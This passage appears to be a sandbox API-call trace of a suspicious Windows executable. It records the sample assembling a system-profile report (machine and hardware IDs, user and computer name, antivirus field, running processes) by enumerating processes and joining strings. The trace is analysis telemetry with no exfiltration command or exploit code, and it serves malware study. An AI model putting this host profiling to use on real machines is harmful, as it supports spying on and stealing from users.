Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- "
[0054.863] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- ", lpString2="fundnorth.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe"
[0054.863] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe ["
[0054.863] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d948
[0054.863] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.863] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.863] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [", lpString2="2664" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664"
[0054.863] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n"
[0054.863] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot bank.exe")) returned 1
[0054.864] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: 